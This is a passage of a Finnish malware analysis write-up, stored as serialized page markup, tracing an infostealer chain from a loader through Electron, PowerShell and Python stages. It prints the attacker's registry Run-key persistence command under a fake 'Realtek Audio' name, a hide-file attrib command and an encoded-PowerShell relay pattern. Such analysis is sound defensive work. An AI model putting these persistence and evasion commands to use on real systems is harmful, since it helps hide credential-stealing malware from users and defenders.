luontitapahtumaa, tiedostopudotusta tai komentorivimerkintää.",[533,891,892],{},"Kontekstuaalisten indikaattorien ja OSINT-lähteiden perusteella todennäköinen tartuntavektori on voinut liittyä seuraaviin:",[604,894,895,901,907],{},[607,896,897,900],{},[540,898,899],{},"Troijalaistetut asennusohjelmat"," krakatuille tai muokatuille pelisovelluksille",[607,902,903,906],{},[540,904,905],{},"Väärennetyt apuohjelmat"," tai \"suorituskyvyn parantajat\", joita jaetaan foorumeilla ja kolmansien osapuolten sivustoilla",[607,908,909,912],{},[540,910,911],{},"Haitalliset selainlaajennukset",", jotka kohdistuvat tiettyihin käyttäjän kiinnostuksen kohteisiin (esim. kryptotyökalut tai Discord-lisäosat)",[533,914,915],{},"Nämä jäävät kuitenkin spekulaatioksi.",[533,917,918,919,922],{},"Tutkinnassa ei pystytty tunnistamaan vahvistettua dropperia, tietojenkalasteluviestiä eikä murrettua verkkosivustoa. Vaikka haittaohjelman arkkitehtuuri ja suoritusketju rekonstruoitiin täysin, ",[540,920,921],{},"alkuperäistä murtokohtaa (MITRE ATT&CK T1190 / T1566)"," ei pystytty validoimaan.",[870,924,926,927,929],{"id":925},"_212-updaterexe-ensimmäisen-vaiheen-loader","2.1.2 ",[551,928,574],{}," – ensimmäisen vaiheen loader",[533,931,876],{},[533,933,934,935,937],{},"Kun tarkastelin prosessipuuta Microsoft 365 Defenderissä, ",[551,936,574],{}," erottui heti — ei sen takia, mitä se teki, vaan sen takia, miten hiljaisesti se upotti itsensä järjestelmän suoritusvirtaan.",[533,939,940],{},"Tämä binääri oli rekisteröity automaattiseen suoritukseen Windowsin vakiomuotoisen Run-avaimen kautta:",[588,942,945],{"className":943,"code":944,"language":593},[591],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[551,946,944],{"__ignoreMap":594},[533,948,949],{},"Se tarkoitti, että ohjelma käynnistyi joka kerta, kun käyttäjä kirjautui istuntoonsa — klassinen persistence-mekanismi, joka ei vaadi korotettuja oikeuksia ja livahtaa usein huomaamatta EDR-telemetrian läpi.",[604,951,952,958,964,970,976],{},[607,953,954,957],{},[540,955,956],{},"Tiedostotyyppi",": Windows PE -suoritettava (32-bittinen)",[607,959,960,963],{},[540,961,962],{},"Allekirjoitus",": Allekirjoittamaton",[607,965,966,969],{},[540,967,968],{},"VirusTotal-havainto",": 1/69 moottoria triagen hetkellä",[607,971,972,975],{},[540,973,974],{},"Suorituskonteksti",": Keskitason eheys, käyttäjäistunto",[607,977,978,981,982],{},[540,979,980],{},"Sijainti",": ",[551,983,984],{},"AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",[533,986,987],{},"Tiedosto itsessään oli pieni, siististi käännetty ja staattisen analyysin näkökulmasta huomaamaton. Ei epäilyttäviä merkkijonoja, ei salattuja osioita eikä merkkejä obfuskoinnista tai pakkaamisesta. Se toi mukanaan vain vähäisen joukon Windowsin vakio-API-funktioita eikä sisältänyt upotettua payloadia.",[533,989,990,991,993,994,996],{},"Sen käyttäytyminen oli kuitenkin paljastavampaa. Käynnistyttyään ",[551,992,574],{}," purki Electron-sovelluksen mukana tulleesta arkistosta — itsenäisen NodeJS-ajoympäristön, joka oli paketoitu Electronin vakiotyökaluilla. Purettu kansio sisälsi suoritettavan tiedoston nimeltä ",[551,995,578],{},", joka käynnistettiin sen jälkeen lapsiprosessina.",[588,998,1001],{"className":999,"code":1000,"language":593,"meta":594},[591],"Updater.exe → main.exe\n",[551,1002,1000],{"__ignoreMap":594},[533,1004,1005,1006,1008,1009,1011],{},"Tässä vaiheessa ei esiintynyt verkkoindikaattoreita, prosessi-injektiota eikä poikkeamia oikeuksissa tai tokenin korotuksessa. ",[551,1007,574],{},":n koko rooli näytti olevan loader — toisen vaiheen komponentin (",[551,1010,578],{},") toimittaminen ympäristöön, todennäköisesti huomaamattomuuden ja modulaarisuuden ylläpitämiseksi.",[533,1013,1014],{},"Tällainen arkkitehtoninen erottelu on yleistä nykyaikaisissa massahaittaohjelmissa ja stealer-työkalupakeissa. Ensimmäisen vaiheen loader toimii vain jakelutynkänä, jolloin raskaampi logiikka — usein obfuskoitu, tulkattu tai dynaamisesti generoitu — voidaan sijoittaa myöhempiin vaiheisiin.",[533,1016,1017,1018,1020,1021,1023,1024,1026],{},"Tässä tapauksessa ",[551,1019,574],{}," palveli juuri tätä tarkoitusta: hiljainen ensimmäinen jalansija, joka oli suunniteltu sulautumaan taustaan, pysymään havaitsematta ja raivaamaan tietä varsinaisen stealer-logiikan suoritukselle ",[551,1022,578],{},":ssä ja lopulta ",[551,1025,582],{},":ssä.",[533,1028,1029],{},"Se ei koskenut tiedostojärjestelmään oman hakemistonsa ulkopuolella eikä laukaissut yhtäkään käyttäytymissääntöä — ja silti se oli ensimmäinen domino pitkässä ja huolellisesti rakennetussa hyökkäysketjussa.",[870,1031,1033,1034,1036],{"id":1032},"_213-mainexe-obfuskoitu-nodejs-payloadin-säiliö","2.1.3 ",[551,1035,578],{}," – obfuskoitu NodeJS-payloadin säiliö",[533,1038,876],{},[533,1040,1041,1043,1044,1046],{},[551,1042,574],{},":n suorituksen jälkeen käynnistettiin toisen vaiheen binääri nimeltä ",[551,1045,578],{},". Tämä komponentti esiintyi tavallisena Electron-sovelluksena — ajoympäristönä, joka niputtaa yhteen Node.js:n ja Chromiumin ja jota käytetään usein alustariippumattomissa työpöytäsovelluksissa. Sen vaarattomuus on osa sitä, mikä tekee siitä vääriin käsiin joutuessaan niin vaarallisen.",[533,1048,1049,1050,1052,1053,1056],{},"Tarkastelussa ",[551,1051,578],{}," sisälsi sisäisen arkiston nimeltä ",[551,1054,1055],{},"app.asar"," — Electron-pohjaisten sovellusten vakiopaketointimuodon. Toisin kuin laillisissa Electron-sovelluksissa, tämän arkiston sisältö oli kaikkea muuta kuin tavanomainen.",[604,1058,1059,1065,1071,1080],{},[607,1060,1061,1064],{},[540,1062,1063],{},"Alusta",": Electron (Node.js + Chromium)",[607,1066,1067,1070],{},[540,1068,1069],{},"Arkkitehtuuri",": 64-bittinen Windows",[607,1072,1073,1076,1077,1079],{},[540,1074,1075],{},"Sisällön rakenne",": Upotetut JavaScript-tiedostot ",[551,1078,1055],{},"-arkistossa",[607,1081,1082,1085,1086,1089],{},[540,1083,1084],{},"Obfuskoinnin taso",": Korkea — toteutettu ",[551,1087,1088],{},"js-confuser","-työkalulla, kaupallisesti saatavilla olevalla JavaScriptin obfuskointipaketilla",[533,1091,1092,1093,1095],{},"Kun ",[551,1094,578],{}," oli purettu ja obfuskointi poistettu, sen ydinlogiikka kävi ilmi. Sen tarkoitus ei ollut näyttää käyttöliittymää tai suorittaa mitään frontend-logiikkaa — sen sijaan se toimi piilotettuna suorituksen orkestroijana.",[533,1097,1098],{},[540,1099,1100],{},"Havaittu käyttäytyminen:",[604,1102,1103,1106,1113],{},[607,1104,1105],{},"Purkaa ja kokoaa uudelleen Base64-koodatun PowerShell-komennon, joka on tallennettu JavaScript-payloadiin",[607,1107,1108,1109,1112],{},"Käynnistää ",[551,1110,1111],{},"cmd.exe",":n suorittaakseen PowerShell-komennon sisäisesti",[607,1114,1115,1116,1118,1119,1122],{},"PowerShell-komento puolestaan kutsuu ",[551,1117,553],{},":ä ja välittää sille skriptin, joka sijaitsee näennäisen viattomassa hakemistorakenteessa (",[551,1120,1121],{},"Crypto\\Util\\astor.py",")",[588,1124,1127],{"className":1125,"code":1126,"language":593,"meta":594},[591],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[551,1128,1126],{"__ignoreMap":594},[533,1130,1131],{},"Tämä ketjutus antoi hyökkääjälle mahdollisuuden vaihtaa suorituskontekstia ja välttää suoraviivaisen havaitsemisen. Koska payload oli obfuskoitu ja vaiheistettu muistiin, perinteiset signatuuripohjaiset kontrollit olivat tehottomia.",[533,1133,1134],{},"Electron-kehys tarjosi ihanteellisen suojan — se salli mielivaltaisen JavaScriptin suorittamisen herättämättä huomiota. JavaScript-pohjainen suoritus toi mukanaan myös alustariippumattomuuden, mikä mahdollisti joustavan käyttöönoton ja dynaamisen ohjauslogiikan helpomman integroinnin.",[533,1136,1137,1139],{},[551,1138,578],{},":stä teki erityisen vaarallisen sen kyky toimia pudottamatta yhtään lisätiedostoa sen lisäksi, mitä oli jo vaiheistettu. Stealer-skripti kutsuttiin suoraan levyltä, mutta kaikki vaiheistus- ja suorituslogiikka pysyi upotettuna Electron-pakettiin.",[533,1141,1142,1143,1145,1146,1026],{},"Yhteenvetona ",[551,1144,578],{}," toimi obfuskoituna, monikerroksisena suorituksen ytimenä — porttivartijana ensimmäisen persistencen ja Akira Stealerin payloadin täyden aktivoinnin välillä ",[551,1147,582],{},[870,1149,1151,1152,1154],{"id":1150},"_214-cmdexe-ja-powershell-välitys","2.1.4 ",[551,1153,1111],{}," ja PowerShell-välitys",[533,1156,876],{},[533,1158,1159],{},"Tämä suoritusketjun vaihe toimi välityksenä — ei payload-logiikan, vaan obfuskoinnin ja epäsuoruuden vuoksi.",[533,1161,1092,1162,1164,1165,1167,1168,699],{},[551,1163,578],{}," oli hoitanut oman roolinsa payloadin purkamisessa ja dekoodauksessa, se käynnisti ",[551,1166,1111],{},"-prosessin. Tämä prosessi ei itsessään sisältänyt haitallista logiikkaa eikä kirjoittanut tai muokannut tiedostoja. Sen ainoa tarkoitus oli toimia kääreenä, joka käynnistää PowerShell-istunnon ",[540,1169,1170],{},"koodatulla komennolla",[533,1172,1173],{},"Tämä menetelmä on tunnettu taktiikka näkyvyyden vähentämiseen ja havaitsemisen välttämiseen:",[604,1175,1176,1188],{},[607,1177,1178,1181,1182],{},[540,1179,1180],{},"Suoritusketju",":",[588,1183,1186],{"className":1184,"code":1185,"language":593},[591],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[551,1187,1185],{"__ignoreMap":594},[607,1189,1190,1181,1193],{},[540,1191,1192],{},"Tarkoitus",[604,1194,1195,1198,1201],{},[607,1196,1197],{},"Kapseloi PowerShell-suorituksen ylimääräiseen komentotulkkiin",[607,1199,1200],{},"Piilottaa varsinaisen PowerShell-koodin suoralta näkyvyydeltä lokeissa",[607,1202,1203,1204,1207],{},"Välttää EDR-ratkaisut, jotka reagoivat suoraan ",[551,1205,1206],{},"powershell.exe",":n käyttöön epäilyttävillä parametreilla",[533,1209,1210,1211,1213],{},"Upottamalla PowerShell-skriptin Base64-koodattuna merkkijonona ja kutsumalla sitä ",[551,1212,1111],{},":n kautta hyökkääjä vältti useita havaitsemismuotoja:",[604,1215,1216,1221,1226],{},[607,1217,1218],{},[540,1219,1220],{},"Komentorivin heuristiset suodattimet",[607,1222,1223],{},[540,1224,1225],{},"Vakiolokitus (esim. Event ID 4104, 4688)",[607,1227,1228],{},[540,1229,1230,1231,1233,1234,620,1237,1240],{},"Sääntöpohjaiset havainnot ",[551,1232,1206],{},":n argumenteille, kuten ",[551,1235,1236],{},"-NoProfile",[551,1238,1239],{},"-ExecutionPolicy Bypass"," tai sisäiset skriptit",[533,1242,1243,1244,1246,1247,1249],{},"Huomionarvoista on, että PowerShell-komento pidettiin minimaalisena ja keskittyi yksinomaan ",[551,1245,553],{},":n käynnistämiseen polulla upotettuun stealer-skriptiin — ",[551,1248,582],{},". Lisämoduuleja ei ladattu, eikä muistissa esiintynyt ilmeisiä signatuureja.",[533,1251,1252],{},"Tätä välitystekniikkaa käytetään usein sekä red teamingissä että kehittyneissä infostealereissä — se on kevyt väistökerros, joka on helppo toteuttaa mutta vaikea napata kiinni ilman telemetrian korrelointia.",[533,1254,1017,1255,1257],{},[551,1256,1111],{}," palveli juuri tätä tarkoitusta: yksinkertainen, hiljainen silta JavaScript-logiikan ja Python-suorituksen välillä — sellainen, joka lähes livahti huomaamatta ohi.",[870,1259,1261,1262,1264,1265],{"id":1260},"_215-pythonexe-ja-astorpy","2.1.5 ",[551,1263,553],{}," ja ",[551,1266,582],{},[533,1268,876],{},[533,1270,1271,1272,1274,1275,1277],{},"Suoritusketjun viimeinen ja vaikuttavin vaihe saavutettiin, kun ",[551,1273,553],{}," kutsui ",[551,1276,582],{},":tä — Python-pohjaista, modulaarista infostealeriä, joka toimi kokonaan muistissa. Tämä skripti oli koko hyökkäysketjun operatiivinen ydin.",[533,1279,1280,1281,1283],{},"Toisin kuin monet massastealerit, ",[551,1282,582],{},":tä ei toimitettu selkokielisenä. Sitä suojasi monikerroksinen salauksenpurkumekanismi:",[604,1285,1286,1299],{},[607,1287,1288,1291,1292,1295,1298],{},[540,1289,1290],{},"Salauspino",": Tiedosto pakattiin ensin GZIP-muotoon ja salattiin sen jälkeen ",[540,1293,1294],{},"AES-256-CBC",[1296,1297],"ll",{},"ä.",[607,1300,1301,1304],{},[540,1302,1303],{},"Avaimen johtaminen",": Käytössä oli PBKDF2-pohjainen avaimenjohtamisprosessi (SHA-512, 1 000 000 iteraatiota), mikä teki staattisesta analyysistä ja raa'an voiman murtamisesta erittäin epäkäytännöllistä.",[533,1306,1307],{},"Kun skripti oli purettu ajonaikaisesti, se suoritti useita erikoistuneita moduuleja, jotka kaikki kohdistuivat arkaluonteisiin tietolähteisiin:",[533,1309,1310],{},[540,1311,1312],{},"Ydintoiminnot",[604,1314,1315,1321,1331,1341],{},[607,1316,1317,1320],{},[540,1318,1319],{},"Selaindatan poiminta",": Haki kirjautumistiedot, evästeet ja automaattisen täytön tiedot Chromium-pohjaisista selaimista (Chrome, Edge, Brave, Opera)",[607,1322,1323,1326,1327,1330],{},[540,1324,1325],{},"Tokenien keruu",": Keräsi istuntotokeneja erityisesti ",[540,1328,1329],{},"Discordista"," ja etsi kryptolompakkolaajennuksia",[607,1332,1333,1336,1337,1340],{},[540,1334,1335],{},"Datan paketointi",": Kokosi kaiken kerätyn datan jäsenneltyyn ",[540,1338,1339],{},"ZIP-arkistoon"," säilyttäen hakemisto- ja tiedostokontekstin hyökkääjän puolella tehtävää jäsentämistä varten",[607,1342,1343,1346],{},[540,1344,1345],{},"Exfiltraatio",": Lähetti syntyneen arkiston julkisiin API-rajapintoihin ja infrastruktuuriin.",[533,1348,1349],{},[540,1350,974],{},[533,1352,1353],{},"Koko stealer-logiikka suoritettiin muistista, eikä levylle kirjoitettu pysyviä tiedostoja. Se jätti minimaalisesti telemetriajälkiä prosessin sisäisten muistiartefaktien ja tavanomaisen aliprosessikutsun lisäksi. Tässä vaiheessa ei yritetty luoda persistenceä — tavoitteena oli nopea, tehokas ja hiljainen tietovarkaus.",[533,1355,1356],{},"Laillisten API-rajapintojen käyttö exfiltraatioon teki myös havaitsemisesta ja estämisestä merkittävästi vaikeampaa, sillä ulospäin suuntautuva liikenne sulautui tavanomaiseen internetkäyttöön.",[533,1358,1359,1360,1362],{},"Tämä vaihe vahvisti lopulta haittaohjelman identiteetin: kyseessä oli ",[540,1361,650],{}," -variantti, joka tunnetaan seuraavista:",[604,1364,1365,1368,1371,1374],{},[607,1366,1367],{},"Korkea modulaarisuus",[607,1369,1370],{},"Ajonaikainen obfuskointi",[607,1372,1373],{},"Kaupallinen jakelu Telegramin kautta",[607,1375,1376],{},"Vahva keskittyminen tunnistetietojen keruuseen ja token-pohjaiseen istuntojen kaappaukseen",[533,1378,1379,1380,1382],{},"Yhdessä aiempien vaiheiden kanssa ",[551,1381,582],{}," muodosti huomaamattoman ja hyvin suunnitellun infostealer-ketjun kriittisen päätepisteen. Seuraavissa luvuissa pilkomme tämän komponentin tarkemmin osiin ja kerromme, miten käänsimme sen logiikan takaisin, kartoitimme sen infrastruktuurin ja palautimme jokaisen sen toiminnassa käytetyn kompromissi-indikaattorin.",[528,1384,1386,1387],{"id":1385},"_3-deep-dive-updaterexe","3. Deep Dive: ",[551,1388,574],{},[533,1390,535],{},[533,1392,1393,1395],{},[551,1394,574],{}," oli ensimmäinen binääri, joka havaittiin murron jälkeisessä analyysissä. Neutraalista ulkoasustaan ja olemattomasta havaintojalanjäljestään huolimatta sillä oli kriittinen rooli haittaohjelman operatiivisen persistencen ylläpidossa ja seuraavan vaiheen payloadin toimittamisessa.",[721,1397,1399],{"id":1398},"_31-ominaisuudet","3.1 Ominaisuudet",[533,1401,727],{},[1403,1404,1405,1418],"table",{},[1406,1407,1408],"thead",{},[1409,1410,1411,1415],"tr",{},[1412,1413,1414],"th",{},"Ominaisuus",[1412,1416,1417],{},"Arvo",[1419,1420,1421,1432,1442,1452,1462,1472],"tbody",{},[1409,1422,1423,1429],{},[1424,1425,1426],"td",{},[540,1427,1428],{},"Muoto:",[1424,1430,1431],{},"Windows Portable Executable (PE32)",[1409,1433,1434,1439],{},[1424,1435,1436],{},[540,1437,1438],{},"Arkkitehtuuri:",[1424,1440,1441],{},"x86-64",[1409,1443,1444,1449],{},[1424,1445,1446],{},[540,1447,1448],{},"Koko:",[1424,1450,1451],{},"~154 KB",[1409,1453,1454,1459],{},[1424,1455,1456],{},[540,1457,1458],{},"Entropia:",[1424,1460,1461],{},"Normaali (ei pakattu)",[1409,1463,1464,1469],{},[1424,1465,1466],{},[540,1467,1468],{},"Allekirjoitukset:",[1424,1470,1471],{},"Ei mitään",[1409,1473,1474,1479],{},[1424,1475,1476],{},[540,1477,1478],{},"VirusTotal-osuma:",[1424,1480,1481],{},"1/69 analyysin hetkellä",[533,1483,1484],{},"Tiedostossa oli siisti import-taulukko eikä upotettuja merkkijonoindikaattoreita. Tunnettuja pakkaajia, kryptereitä tai ajonaikaisia obfuskointimekanismeja ei havaittu. Rakenne vastasi itse käännettyjä binäärejä.",[721,1486,1488],{"id":1487},"_32-käyttäytymisanalyysi","3.2 Käyttäytymisanalyysi",[533,1490,727],{},[533,1492,1493],{},[540,1494,1495],{},"Ei vaadi käyttäjän toimia",[533,1497,1498,1499,1501],{},"Haittaohjelmaketju suoritettiin ilman minkäänlaista käyttäjän toimintaa. Defenderin prosessitelemetrian perusteella ensimmäinen binääri (",[551,1500,574],{},") käynnistettiin automaattisesti — todennäköisimmin persistence-mekanismin, kuten rekisterin autorun-avaimen, kautta. Murron iän ja historiallisten tapahtumalokien puuttumisen vuoksi tarkkaa persistence-menetelmää ei kuitenkaan pystytty palauttamaan.",[533,1503,1504],{},[540,1505,1506],{},"Hiljainen suoritus ja vaiheistus",[533,1508,1509,1510,1512,1513,1515],{},"Suorituksen käynnistyttyä ",[551,1511,574],{}," käynnisti välittömästi ",[551,1514,578],{},":n ilman näkyvää ikkunaa ja ilman käyttäjälle esitettyjä kysymyksiä. Vaiheistus tapahtui hiljaa taustalla. Käyttäjän suostumusdialogeista, UAC-kehotteista tai käyttöliittymäkomponenteista ei ollut merkkejä.",[533,1517,1518],{},[540,1519,1520],{},"Payloadin toimituskäyttäytyminen",[533,1522,1523,1525],{},[551,1524,578],{}," todettiin osaksi Electron-sovellusrakennetta, mutta sen toimituksen tarkka alkuperä jää epäselväksi. Yhtä seuraavista pidetään oletuksena:",[604,1527,1528,1534],{},[607,1529,1530,1531,1533],{},"Payload on saattanut olla niputettu ",[551,1532,574],{},":n sisälle (esim. upotettuna resurssina), tai",[607,1535,1536],{},"se on saatettu hakea etälähteestä",[533,1538,1539],{},"Verkkotelemetrian puutteen ja palautetun kovakoodatun URL-osoitteen puuttumisen vuoksi Electron-sovelluksen toimitusvektori jää epäselväksi.",[533,1541,1542],{},[540,1543,1544],{},"Prosessiketjun käyttäytyminen",[533,1546,1509,1547,1549,1550,1552],{},[551,1548,574],{}," käynnisti ",[551,1551,578],{},":n lapsiprosessina. Kutsu oli ei-interaktiivinen, eikä yksikään ketjussa käynnistetty prosessi osoittanut käyttöliittymätoimintaa. Prosessiketju jatkui odotetusti:",[588,1554,1557],{"className":1555,"code":1556,"language":593},[591],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[551,1558,1556],{"__ignoreMap":594},[533,1560,1561],{},"Kaikki suoritusvaiheet toimivat ilman käyttäjän syötettä, ja ne nojasivat yksinomaan ennalta määritettyyn käynnistyslogiikkaan ja hiljaisiin suorituspolkuihin. Tämä minimoi altistumisen ja auttoi haittaohjelmaa pysymään havaitsematta pitkän ajan.",[721,1563,1565],{"id":1564},"_33-rooli-tartuntaketjussa","3.3 Rooli tartuntaketjussa",[533,1567,727],{},[533,1569,1570,1572,1573,1576,1577,1579],{},[551,1571,574],{},":llä oli ",[540,1574,1575],{},"yksi mutta olennainen rooli"," laajemmassa tartuntaketjussa: se vastasi toisen vaiheen komponentin, ",[551,1578,578],{},":n, persistencestä ja uudelleentoimituksesta.",[533,1581,1582],{},[540,1583,1584],{},"Vahvistetut ominaisuudet",[604,1586,1587,1594,1599],{},[607,1588,1589,1590,1593],{},"Se ",[540,1591,1592],{},"ei"," sisältänyt tai suorittanut haitallista logiikkaa suoraan",[607,1595,1589,1596,1598],{},[540,1597,1592],{}," suorittanut datan exfiltraatiota",[607,1600,1589,1601,1603],{},[540,1602,1592],{}," ollut vuorovaikutuksessa selaimien tunnistetietovarastojen tai arkaluonteisten käyttäjätietojen kanssa",[533,1605,1606,1607,1609],{},"Sen ainoa tarkoitus oli käynnistää ",[551,1608,578],{}," hiljaa käyttäjän kirjautumisen yhteydessä käyttäen rekisterin autorun-merkintää todennäköisimpänä persistence-menetelmänä (vaikka sitä ei telemetrian rajoitusten vuoksi suoraan palautettu).",[533,1611,1612,1613,1615,1616,1618],{},"Toimiessaan erillisenä ensimmäisen vaiheen loaderina ",[551,1614,574],{}," varmisti, että varsinainen stealer-payload (",[551,1617,582],{},") pysyi kätkettynä suorituksen syvempiin kerroksiin. Tämä työnjako antoi hyökkääjille mahdollisuuden:",[604,1620,1621,1624,1627],{},[607,1622,1623],{},"Välttää korreloinnin staattisissa virustorjunta- tai sandbox-järjestelmissä",[607,1625,1626],{},"Vaihtaa tai päivittää payloadeja muokkaamatta loaderia",[607,1628,1629],{},"Vähentää käyttäytymissignaaleja sisääntulopisteessä",[533,1631,1632,1633,1636],{},"Tämä kuvio on tyypillinen ",[540,1634,1635],{},"malware-as-a-service (MaaS)"," -toiminnassa, jossa jakelumekanismit ovat geneerisiä ja payloadit modulaarisia tai asiakaskohtaisia.",[533,1638,1017,1639,1641],{},[551,1640,574],{}," tarjosi juuri sen verran logiikkaa, että se toimi luotettavana ja huomaamattomana sisääntulopisteenä — ei enempää, mutta ei myöskään vähempää.",[721,1643,1645],{"id":1644},"_34-persistence-rekisterin-kautta-vahvistettu-astorpyssä","3.4 Persistence rekisterin kautta (vahvistettu astor.py:ssä)",[533,1647,727],{},[533,1649,1650,1651,1653],{},"Python-payloadin staattinen analyysi paljasti, että ",[551,1652,574],{},":n persistence on toteutettu eksplisiittisesti rekisterin autorun-merkinnällä:",[604,1655,1656,1664,1672],{},[607,1657,1658,981,1661],{},[540,1659,1660],{},"Rekisteripolku",[551,1662,1663],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[607,1665,1666,981,1669],{},[540,1667,1668],{},"Arvon nimi",[551,1670,1671],{},"Realtek Audio",[607,1673,1674,981,1677],{},[540,1675,1676],{},"Payloadin polku",[551,1678,1679],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[533,1681,1682],{},"Vastaava rekisterikomento suoritetaan PowerShellin kautta:",[588,1684,1688],{"className":1685,"code":1686,"language":1687,"meta":594,"style":594},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[551,1689,1690],{"__ignoreMap":594},[1691,1692,1695],"span",{"class":1693,"line":1694},"line",1,[1691,1696,1686],{},[533,1698,1699],{},"Tämä varmistaa, että haittaohjelma käynnistyy jokaisen käyttäjän kirjautumisen yhteydessä. Tiedosto merkitään myös hidden- ja system-attribuuteilla havaitsemisen välttämiseksi entisestään:",[588,1701,1703],{"className":1685,"code":1702,"language":1687,"meta":594,"style":594},"attrib +h +s \"Updater.exe\"\n",[551,1704,1705],{"__ignoreMap":594},[1691,1706,1707],{"class":1693,"line":1694},[1691,1708,1702],{},[533,1710,1711],{},"Tämä persistence-mekanismi oli upotettu suoraan astor.py-koodiin, mikä vahvistaa, että viimeisen vaiheen stealer ylläpitää aktiivisesti loaderin läsnäoloa levyllä ja käynnistysrekisterissä.",[721,1713,1715],{"id":1714},"_35-yhteenveto","3.5 Yhteenveto",[533,1717,727],{},[829,1719,1720],{},[533,1721,1722,1723,1725],{},"Vaikka ",[551,1724,574],{}," ei ollut rakenteensa tai sisältönsä puolesta luonnostaan haitallinen, sen kontekstuaalinen käyttäytyminen suoritusketjussa vahvisti sen roolin haittaohjelman loaderina.",[835,1727],{"className":1728},[838],[533,1730,1731],{},"Tämä binääri toimi siistinä, minimalistisena ensimmäisen vaiheen käynnistäjänä — välttäen havaitsemisen staattisessa analyysissä, virustorjuntamoottoreissa ja käyttäytymissäännöissä. Sen suunnittelu keskittyi puhtaasti huomaamattomuuteen ja operatiiviseen tukeen, ei haitallisen logiikan suorittamiseen itse.",[533,1733,1734,1735,1737,1738,1740,1741,1744],{},"Sen rooli ulottui kuitenkin ensimmäistä toimitusta pidemmälle. ",[551,1736,582],{},"-payloadin reverse engineeringin aikana tunnistimme logiikan, joka tarkisti aktiivisesti ",[551,1739,574],{},":n läsnäolon. Tämä tarkistus oli osa laajempaa ",[540,1742,1743],{},"terveys- ja itsekorjautumissykliä",", joka oli toteutettu stealer-koodiin — mekanismi, jonka tarkoitus oli varmistaa tartuntaketjun eheys ja palauttaa puuttuvat komponentit tarvittaessa.",[533,1746,1747,1748,1750,1751,1754],{},"Tämä tarkoittaa, että ",[551,1749,574],{}," ei vastannut vain haittaohjelman käynnistämisestä, vaan muodosti myös osan sen ",[540,1752,1753],{},"jatkuvasta ajonaikaisesta validoinnista",". Ilman tätä tynkää haittaohjelma voisi menettää kykynsä alustaa itsensä uudelleen tulevissa istunnoissa.",[533,1756,1757],{},[540,1758,1759,1761],{},[551,1760,574],{},":n keskeiset toiminnot:",[604,1763,1764,1769,1774,1777],{},[607,1765,1766,1768],{},[551,1767,578],{},":n saumaton toimitus",[607,1770,1771,1773],{},[551,1772,582],{},":n epäsuora suoritus",[607,1775,1776],{},"Loaderin ja payload-logiikan erottaminen toisistaan",[607,1778,1779,1782],{},[540,1780,1781],{},"Payload itse viittaa siihen"," osana operatiivista terveysvalvontaa",[533,1784,1785],{},"Luvussa 5 käsittelemme yksityiskohtaisesti stealerin sisäisiä terveystarkistusrutiineja, mukaan lukien sen itsekorjautuvan käyttäytymisen ja eheyden validointimekanismit.",[533,1787,1788,1789,1791],{},"Toistaiseksi on selvää, että ",[551,1790,574],{}," toimi tässä kerroksellisessa infostealer-arkkitehtuurissa sekä sytytyksenä että ankkuripisteenä.",[721,1793,1795],{"id":1794},"_36-poimintatemppu-loaderin-päihittäminen","3.6 Poimintatemppu: loaderin päihittäminen",[533,1797,727],{},[533,1799,1800],{},"Toisinaan parhaat reverse engineering -tulokset eivät synny syvästä binäärien purkamisesta — vaan pienestä juonittelusta ja kärsivällisyydestä.",[533,1802,1803,1804,1806,1807,1809],{},"Kun analysoimme tartuntaa hallitussa laboratorioympäristössä, huomasimme jotain outoa: ",[551,1805,574],{}," oli paikalla ja suorittui, mutta ",[551,1808,578],{}," oli kadonnut tiedostojärjestelmästä. Silloin saimme idean — mitä tapahtuu, jos annamme haittaohjelman korjata itsensä?",[533,1811,1812,1813,1818,1819,1821],{},"Poistimme tarkoituksellisesti ",[540,1814,1815,1817],{},[551,1816,578],{},":n"," saastuneesta ympäristöstä ja jätimme ",[551,1820,574],{},":n koskematta. Ja aivan varmasti, seuraavan käyttäjäistunnon kirjautumisen jälkeen loader ryhtyi toimeen — ei kiukuttelemalla, vaan hiljaisella yrityksellä rakentaa toinen vaiheensa uudelleen.",[533,1823,1824,1825,1827,1828,1830,1831,1834,1835,1838,1839,620,1841,1264,1844,1846],{},"Tässä kohtaa asia muuttui kiinnostavaksi: sen sijaan että ",[551,1826,574],{}," olisi luonut ",[551,1829,578],{},":n suoraan uudelleen, se pudotti ensin tiedoston nimeltä ",[551,1832,1833],{},"app-64.7z"," — tavallisen ",[540,1836,1837],{},"7-Zip-arkiston",". Tämä arkisto sisälsi koko Electron-sovellusrakenteen, mukaan lukien ",[551,1840,578],{},[551,1842,1843],{},"resources",[551,1845,1055],{},"-payload kaikella upotetulla logiikallaan.",[533,1848,1849,1850,699],{},"Olimme käytännössä ",[540,1851,1852],{},"pakottaneet haittaohjelman luovuttamaan meille lähdepaketin",[533,1854,1855],{},[755,1856],{"alt":1857,"src":1858},"Suspicious Updater Executable Detected","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[533,1860,1861],{},"Kun tämä 7z-arkisto oli käsissämme, pystyimme purkamaan ja kääntämään takaisin JavaScript-pohjaisen orkestrointilogiikan kokonaan koskematta enää alkuperäiseen loaderiin. Arkiston rakenne vastasi odotettua Electron-sovelluksen asettelua täydellisesti.",[533,1863,1864,1865,1868],{},"Tämä käyttäytyminen viittaa vahvasti siihen, että hyökkääjät valitsivat tarkoituksella ",[540,1866,1867],{},"modulaarisen ja ylläpidettävän arkkitehtuurin",", jossa arkistot toimivat joustavina payload-säiliöinä. Se antoi heille myös mahdollisuuden vaihtaa tai päivittää payload-komponentteja kääntämättä loader-binääriä uudelleen.",[533,1870,1871],{},"Ja meidän tapauksessamme? Se antoi meille mahdollisuuden päihittää heidän ketjunsa, siepata pudotuksen ja kävellä pois koko paketin kanssa — kuin varastaisi piirustukset työpöydältä rakentajan katsoessa muualle.",[533,1873,1874,1875],{},"Sanotaan näin: ",[540,1876,1877,1878,620,1881,1884],{},"toisinaan parhaat forensiset työkalut ovat 